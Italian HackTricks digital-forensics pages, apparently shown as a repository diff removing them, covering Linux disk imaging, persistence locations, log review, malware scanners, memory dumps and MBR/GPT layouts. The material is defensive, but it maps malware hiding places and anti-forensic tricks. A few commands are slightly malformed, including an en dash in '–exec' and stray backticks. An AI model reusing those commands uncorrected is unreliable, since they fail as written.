È importante notare che **prima di collegare il computer a qualsiasi cosa relativa al caso**, è necessario essere certi che verrà **montato come sola lettura** per evitare di modificare qualsiasi informazione.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Pre-analisi dell'immagine del disco
Immaginare un'immagine del disco senza ulteriori dati.
```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776
Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)
Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0
Source OS: Linux
[...]
#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193: folder1
d/d 8194: folder2
V/V 65537: $OrphanFiles
#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt
#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
## Ricerca di Malware conosciuti
### File di sistema modificati
Linux offre strumenti per garantire l'integrità dei componenti di sistema, fondamentali per individuare file potenzialmente problematici.
- **Sistemi basati su RedHat**: Usa `rpm -Va` per un controllo completo.
- **Sistemi basati su Debian**: `dpkg --verify` per una verifica iniziale, seguito da `debsums | grep -v "OK$"` (dopo aver installato `debsums` con `apt-get install debsums`) per identificare eventuali problemi.
### Rilevatori di Malware/Rootkit
Leggi la pagina seguente per conoscere gli strumenti che possono essere utili per trovare malware:
{{#ref}}
malware-analysis.md
{{#endref}}
## Ricerca di programmi installati
Per cercare efficacemente programmi installati su sistemi Debian e RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali in directory comuni.
- Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sulle installazioni dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche.
- Gli utenti di RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati.
Per scoprire software installato manualmente o al di fuori di questi gestori di pacchetti, esplora directory come _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combina le liste delle directory con comandi specifici del sistema per identificare eseguibili non associati a pacchetti noti, migliorando la tua ricerca per tutti i programmi installati.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Recuperare i Binaries Eseguiti Cancellati
Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Ispeziona le posizioni di avvio automatico
### Attività pianificate
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Servizi
Percorsi in cui un malware potrebbe essere installato come servizio:
- **/etc/inittab**: Chiama script di inizializzazione come rc.sysinit, dirigendo ulteriormente verso script di avvio.
- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, il secondo si trova nelle versioni Linux più vecchie.
- **/etc/init.d/**: Utilizzato in alcune versioni Linux come Debian per memorizzare script di avvio.
- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante Linux.
- **/etc/systemd/system**: Una directory per gli script del gestore di sistema e servizi.
- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un livello di esecuzione multi-utente.
- **/usr/local/etc/rc.d/**: Per servizi personalizzati o di terze parti.
- **\~/.config/autostart/**: Per applicazioni di avvio automatico specifiche dell'utente, che possono essere un nascondiglio per malware mirati all'utente.
- **/lib/systemd/system/**: File di unità predefiniti a livello di sistema forniti dai pacchetti installati.
### Moduli del Kernel
I moduli del kernel Linux, spesso utilizzati dal malware come componenti rootkit, vengono caricati all'avvio del sistema. Le directory e i file critici per questi moduli includono:
- **/lib/modules/$(uname -r)**: Contiene moduli per la versione del kernel in esecuzione.
- **/etc/modprobe.d**: Contiene file di configurazione per controllare il caricamento dei moduli.
- **/etc/modprobe** e **/etc/modprobe.conf**: File per le impostazioni globali dei moduli.
### Altre Posizioni di Avvio Automatico
Linux utilizza vari file per eseguire automaticamente programmi al momento del login dell'utente, potenzialmente ospitando malware:
- **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Eseguiti per qualsiasi login utente.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, e **\~/.config/autostart**: File specifici dell'utente che vengono eseguiti al loro login.
- **/etc/rc.local**: Viene eseguito dopo che tutti i servizi di sistema sono stati avviati, segnando la fine della transizione a un ambiente multiutente.
## Esaminare i Log
I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attraverso vari file di log. Questi log sono fondamentali per identificare accessi non autorizzati, infezioni da malware e altri incidenti di sicurezza. I file di log chiave includono:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Catturano messaggi e attività a livello di sistema.
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti.
- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti.
- **/var/log/boot.log**: Contiene messaggi di avvio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registra le attività del server di posta, utile per tracciare servizi legati alla posta elettronica.
- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi.
- **/var/log/dmesg**: Contiene messaggi del driver del dispositivo.
- **/var/log/faillog**: Registra tentativi di accesso falliti, utile per indagini su violazioni della sicurezza.
- **/var/log/cron**: Registra le esecuzioni dei job cron.
- **/var/log/daemon.log**: Traccia le attività dei servizi in background.
- **/var/log/btmp**: Documenta tentativi di accesso falliti.
- **/var/log/httpd/**: Contiene log di errore e accesso di Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra le attività del database MySQL.
- **/var/log/xferlog**: Registra trasferimenti di file FTP.
- **/var/log/**: Controlla sempre per log inaspettati qui.
> [!NOTE]
> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un'intrusione o in un incidente di malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione.
**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in:
- \~/.bash_history
- \~/.zsh_history
- \~/.zsh_sessions/\*
- \~/.python_history
- \~/.\*\_history
Inoltre, il comando `last -Faiwx` fornisce un elenco di accessi degli utenti. Controllalo per accessi sconosciuti o inaspettati.
Controlla i file che possono concedere privilegi extra:
- Rivedi `/etc/sudoers` per privilegi utente imprevisti che potrebbero essere stati concessi.
- Rivedi `/etc/sudoers.d/` per privilegi utente imprevisti che potrebbero essere stati concessi.
- Esamina `/etc/groups` per identificare eventuali appartenenze a gruppi o permessi insoliti.
- Esamina `/etc/passwd` per identificare eventuali appartenenze a gruppi o permessi insoliti.
Alcune app generano anche i propri log:
- **SSH**: Esamina _\~/.ssh/authorized_keys_ e _\~/.ssh/known_hosts_ per connessioni remote non autorizzate.
- **Gnome Desktop**: Controlla _\~/.recently-used.xbel_ per file recentemente accessi tramite applicazioni Gnome.
- **Firefox/Chrome**: Controlla la cronologia del browser e i download in _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ per attività sospette.
- **VIM**: Rivedi _\~/.viminfo_ per dettagli sull'uso, come percorsi di file accessi e cronologia delle ricerche.
- **Open Office**: Controlla l'accesso recente ai documenti che potrebbe indicare file compromessi.
- **FTP/SFTP**: Rivedi i log in _\~/.ftp_history_ o _\~/.sftp_history_ per trasferimenti di file che potrebbero essere non autorizzati.
- **MySQL**: Indaga _\~/.mysql_history_ per query MySQL eseguite, rivelando potenzialmente attività non autorizzate nel database.
- **Less**: Analizza _\~/.lesshst_ per la cronologia d'uso, inclusi file visualizzati e comandi eseguiti.
- **Git**: Esamina _\~/.gitconfig_ e il progetto _.git/logs_ per modifiche ai repository.
### Log USB
[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in puro Python 3 che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle di cronologia degli eventi USB.
È interessante **conoscere tutte le USB che sono state utilizzate** e sarà più utile se hai un elenco autorizzato di USB per trovare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco).
### Installazione
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Esempi
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Rivedere gli Account Utente e le Attività di Accesso
Esaminare il _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controllare possibili attacchi di brute-force sudo.\
Inoltre, controllare file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati concessi agli utenti.\
Infine, cercare account con **nessuna password** o **password facilmente indovinabili**.
## Esaminare il File System
### Analizzare le Strutture del File System nell'Investigazione di Malware
Quando si indagano incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come modificare i timestamp dei file o evitare il file system per l'archiviazione dei dati.
Per contrastare questi metodi anti-forensi, è essenziale:
- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti.
- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file relativi al malware.
- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi.
- **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere abusati dagli attaccanti.
- **Rivedere i timestamp di cancellazione** nelle tabelle inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan.
- **Ispezionare inode consecutivi** per file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati collocati insieme.
- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati da malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
> [!NOTE]
> Nota che un **attaccante** può **modificare** il **tempo** per far **apparire** i **file** **legittimi**, ma non può **modificare** l'**inode**. Se scopri che un **file** indica che è stato creato e modificato allo **stesso tempo** degli altri file nella stessa cartella, ma l'**inode** è **inaspettatamente più grande**, allora i **timestamp di quel file sono stati modificati**.
## Confronta file di diverse versioni del filesystem
### Riepilogo del confronto delle versioni del filesystem
Per confrontare le versioni del filesystem e individuare le modifiche, utilizziamo comandi `git diff` semplificati:
- **Per trovare nuovi file**, confronta due directory:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Per il contenuto modificato**, elenca le modifiche ignorando righe specifiche:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Per rilevare file eliminati**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Le opzioni di filtro** (`--diff-filter`) aiutano a restringere a modifiche specifiche come file aggiunti (`A`), eliminati (`D`) o modificati (`M`).
- `A`: File aggiunti
- `C`: File copiati
- `D`: File eliminati
- `M`: File modificati
- `R`: File rinominati
- `T`: Cambiamenti di tipo (ad es., file a symlink)
- `U`: File non uniti
- `X`: File sconosciuti
- `B`: File danneggiati
## Riferimenti
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
{{#include ../../banners/hacktricks-training.md}}

154
src/forensics/basic-forensic-methodology/malware-analysis.md
View File

@ -1,154 +0,0 @@
# Analisi del Malware
{{#include ../../banners/hacktricks-training.md}}
## CheatSheets di Forensics
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Servizi Online
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
- [Koodous](https://koodous.com)
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
## Strumenti Antivirus e di Rilevamento Offline
### Yara
#### Installa
```bash
sudo apt-get install -y yara
```
#### Preparare le regole
Usa questo script per scaricare e unire tutte le regole yara per malware da github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Crea la directory _**rules**_ ed eseguila. Questo creerà un file chiamato _**malware_rules.yar**_ che contiene tutte le regole yara per malware.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Scansione
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: Controlla la presenza di malware e crea regole
Puoi utilizzare lo strumento [**YaraGen**](https://github.com/Neo23x0/yarGen) per generare regole yara da un binario. Dai un'occhiata a questi tutorial: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### Installa
```
sudo apt-get install -y clamav
```
#### Scansione
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa** rileva potenziali **capacità** dannose negli eseguibili: PE, ELF, .NET. Quindi troverà cose come le tattiche Att\&ck, o capacità sospette come:
- controlla l'errore OutputDebugString
- esegui come servizio
- crea processo
Ottienilo nel [**Github repo**](https://github.com/mandiant/capa).
### IOCs
IOC significa Indicatore di Compromissione. Un IOC è un insieme di **condizioni che identificano** alcuni software potenzialmente indesiderati o **malware** confermati. I Blue Teams utilizzano questo tipo di definizione per **cercare questo tipo di file dannosi** nei loro **sistemi** e **reti**.\
Condividere queste definizioni è molto utile poiché quando il malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificare il malware più rapidamente.
Uno strumento per creare o modificare IOCs è [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Puoi utilizzare strumenti come [**Redline**](https://www.fireeye.com/services/freeware/redline.html) per **cercare IOCs definiti in un dispositivo**.
### Loki
[**Loki**](https://github.com/Neo23x0/Loki) è uno scanner per Indicatori di Compromissione Semplici.\
La rilevazione si basa su quattro metodi di rilevamento:
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) è uno scanner di malware per Linux rilasciato sotto la licenza GNU GPLv2, progettato attorno alle minacce affrontate negli ambienti di hosting condivisi. Utilizza dati sulle minacce provenienti dai sistemi di rilevamento delle intrusioni ai margini della rete per estrarre malware che viene attivamente utilizzato negli attacchi e genera firme per la rilevazione. Inoltre, i dati sulle minacce sono anche derivati dalle segnalazioni degli utenti con la funzione di checkout LMD e dalle risorse della comunità malware.
### rkhunter
Strumenti come [**rkhunter**](http://rkhunter.sourceforge.net) possono essere utilizzati per controllare il filesystem per possibili **rootkit** e malware.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) è uno strumento che cercherà di trovare stringhe offuscate all'interno di eseguibili utilizzando diverse tecniche.
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) controlla alcune informazioni di base all'interno dell'eseguibile (dati binari, entropia, URL e IP, alcune regole yara).
### PEstudio
[PEstudio](https://www.winitor.com/download) è uno strumento che consente di ottenere informazioni sugli eseguibili di Windows come importazioni, esportazioni, intestazioni, ma controllerà anche virus total e troverà potenziali tecniche Att\&ck.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) è uno strumento per rilevare se un file è **crittografato** e anche per trovare **packers**.
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) è uno script Python che utilizza una varietà di **metodi statistici** per rilevare contenuti **offuscati** e **crittografati** all'interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella **rilevazione di codice web shell nascosto**.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) fa del suo meglio per rilevare **codice offuscato**/**sospetto** così come file che utilizzano funzioni **PHP** spesso usate in **malware**/webshell.
### Apple Binary Signatures
Quando controlli alcuni **campioni di malware** dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** a **malware.**
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## Tecniche di Rilevamento
### File Stacking
Se sai che una cartella contenente i **file** di un server web è stata **aggiornata l'ultima volta in una certa data**. **Controlla** la **data** in cui tutti i **file** nel **server web sono stati creati e modificati** e se qualche data è **sospetta**, controlla quel file.
### Baselines
Se i file di una cartella **non avrebbero dovuto essere modificati**, puoi calcolare l'**hash** dei **file originali** della cartella e **confrontarli** con quelli **correnti**. Qualsiasi modifica sarà **sospetta**.
### Analisi Statistica
Quando le informazioni sono salvate nei log puoi **controllare statistiche come quante volte ogni file di un server web è stato accesso poiché una web shell potrebbe essere una delle più**.
{{#include ../../banners/hacktricks-training.md}}

37
src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
View File

@ -1,37 +0,0 @@
# Analisi del dump di memoria
{{#include ../../../banners/hacktricks-training.md}}
## Inizio
Inizia a **cercare** **malware** all'interno del pcap. Usa gli **strumenti** menzionati in [**Analisi del Malware**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility è il principale framework open-source per l'analisi dei dump di memoria**. Questo strumento Python analizza i dump provenienti da fonti esterne o VM VMware, identificando dati come processi e password in base al profilo OS del dump. È estensibile con plugin, rendendolo altamente versatile per le indagini forensi.
**[Trova qui un cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Rapporto di crash mini dump
Quando il dump è piccolo (solo alcuni KB, forse qualche MB) allora probabilmente si tratta di un rapporto di crash mini dump e non di un dump di memoria.
![](<../../../images/image (216).png>)
Se hai Visual Studio installato, puoi aprire questo file e legare alcune informazioni di base come nome del processo, architettura, informazioni sull'eccezione e moduli in esecuzione:
![](<../../../images/image (217).png>)
Puoi anche caricare l'eccezione e vedere le istruzioni decompilate
![](<../../../images/image (219).png>)
![](<../../../images/image (218) (1).png>)
Comunque, Visual Studio non è il miglior strumento per eseguire un'analisi approfondita del dump.
Dovresti **aprirlo** usando **IDA** o **Radare** per ispezionarlo in **profondità**.
​
{{#include ../../../banners/hacktricks-training.md}}

234
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
View File

@ -1,234 +0,0 @@
# Partizioni/File Systems/Carving
{{#include ../../../banners/hacktricks-training.md}}
## Partizioni
Un hard disk o un **SSD può contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\
L'unità **minima** di un disco è il **settore** (normalmente composto da 512B). Quindi, ogni dimensione della partizione deve essere un multiplo di quella dimensione.
### MBR (master Boot Record)
È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
MBR consente **max 2.2TB**.
![](<../../../images/image (489).png>)
![](<../../../images/image (490).png>)
Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se viene utilizzato Windows). La lettera del disco logico dell'hard disk dipende dalla Windows Disk Signature. Cambiare questa firma potrebbe impedire a Windows di avviarsi (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (493).png>)
**Formato**
| Offset | Lunghezza | Voce |
| ----------- | ----------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Codice di avvio |
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
| 462 (0x1CE) | 16 (0x10) | Seconda Partizione |
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Record di Partizione**
| Offset | Lunghezza | Voce |
| --------- | --------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Flag attivo (0x80 = avviabile) |
| 1 (0x01) | 1 (0x01) | Testa di inizio |
| 2 (0x02) | 1 (0x01) | Settore di inizio (bit 0-5); bit superiori del cilindro (6- 7) |
| 3 (0x03) | 1 (0x01) | Cilindro di inizio 8 bit più bassi |
| 4 (0x04) | 1 (0x01) | Codice tipo partizione (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Testa di fine |
| 6 (0x06) | 1 (0x01) | Settore di fine (bit 0-5); bit superiori del cilindro (6- 7) |
| 7 (0x07) | 1 (0x01) | Cilindro di fine 8 bit più bassi |
| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) |
| 12 (0x0C) | 4 (0x04) | Settori nella partizione |
Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
E poi usa il seguente codice
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Logical block addressing)**
**Logical block addressing** (**LBA**) è uno schema comune utilizzato per **specificare la posizione dei blocchi** di dati memorizzati sui dispositivi di archiviazione del computer, generalmente sistemi di archiviazione secondaria come i dischi rigidi. LBA è uno schema di indirizzamento lineare particolarmente semplice; **i blocchi sono localizzati da un indice intero**, con il primo blocco che è LBA 0, il secondo LBA 1, e così via.
### GPT (GUID Partition Table)
La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanzate rispetto a MBR (Master Boot Record). Distintiva per il suo **identificatore univoco globale** per le partizioni, GPT si distingue in diversi modi:
- **Posizione e Dimensione**: Sia GPT che MBR iniziano a **settore 0**. Tuttavia, GPT opera su **64 bit**, a differenza dei 32 bit di MBR.
- **Limiti delle Partizioni**: GPT supporta fino a **128 partizioni** sui sistemi Windows e può contenere fino a **9.4ZB** di dati.
- **Nomi delle Partizioni**: Offre la possibilità di nominare le partizioni con fino a 36 caratteri Unicode.
**Resilienza e Recupero dei Dati**:
- **Ridondanza**: A differenza di MBR, GPT non limita la partizione e i dati di avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati.
- **Controllo di Ridondanza Ciclomato (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco.
**MBR Protettivo (LBA0)**:
- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utilità basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
**MBR Ibrido (LBA 0 + GPT)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Nei sistemi operativi che supportano **l'avvio basato su GPT tramite i servizi BIOS** piuttosto che EFI, il primo settore può ancora essere utilizzato per memorizzare la prima fase del codice del **bootloader**, ma **modificato** per riconoscere le **partizioni GPT**. Il bootloader nell'MBR non deve assumere una dimensione del settore di 512 byte.
**Intestazione della tabella delle partizioni (LBA 1)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
L'intestazione della tabella delle partizioni definisce i blocchi utilizzabili sul disco. Definisce anche il numero e la dimensione delle voci di partizione che compongono la tabella delle partizioni (offset 80 e 84 nella tabella).
| Offset | Lunghezza | Contenuti |
| --------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 byte | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)su macchine little-endian) |
| 8 (0x08) | 4 byte | Revisione 1.0 (00h 00h 01h 00h) per UEFI 2.8 |
| 12 (0x0C) | 4 byte | Dimensione dell'intestazione in little endian (in byte, di solito 5Ch 00h 00h 00h o 92 byte) |
| 16 (0x10) | 4 byte | [CRC32](https://en.wikipedia.org/wiki/CRC32) dell'intestazione (offset +0 fino alla dimensione dell'intestazione) in little endian, con questo campo azzerato durante il calcolo |
| 20 (0x14) | 4 byte | Riservato; deve essere zero |
| 24 (0x18) | 8 byte | LBA corrente (posizione di questa copia dell'intestazione) |
| 32 (0x20) | 8 byte | LBA di backup (posizione dell'altra copia dell'intestazione) |
| 40 (0x28) | 8 byte | Primo LBA utilizzabile per le partizioni (LBA dell'ultima tabella di partizione primaria + 1) |
| 48 (0x30) | 8 byte | Ultimo LBA utilizzabile (primo LBA della tabella di partizione secondaria − 1) |
| 56 (0x38) | 16 byte | GUID del disco in endian misto |
| 72 (0x48) | 8 byte | LBA iniziale di un array di voci di partizione (sempre 2 nella copia primaria) |
| 80 (0x50) | 4 byte | Numero di voci di partizione nell'array |
| 84 (0x54) | 4 byte | Dimensione di una singola voce di partizione (di solito 80h o 128) |
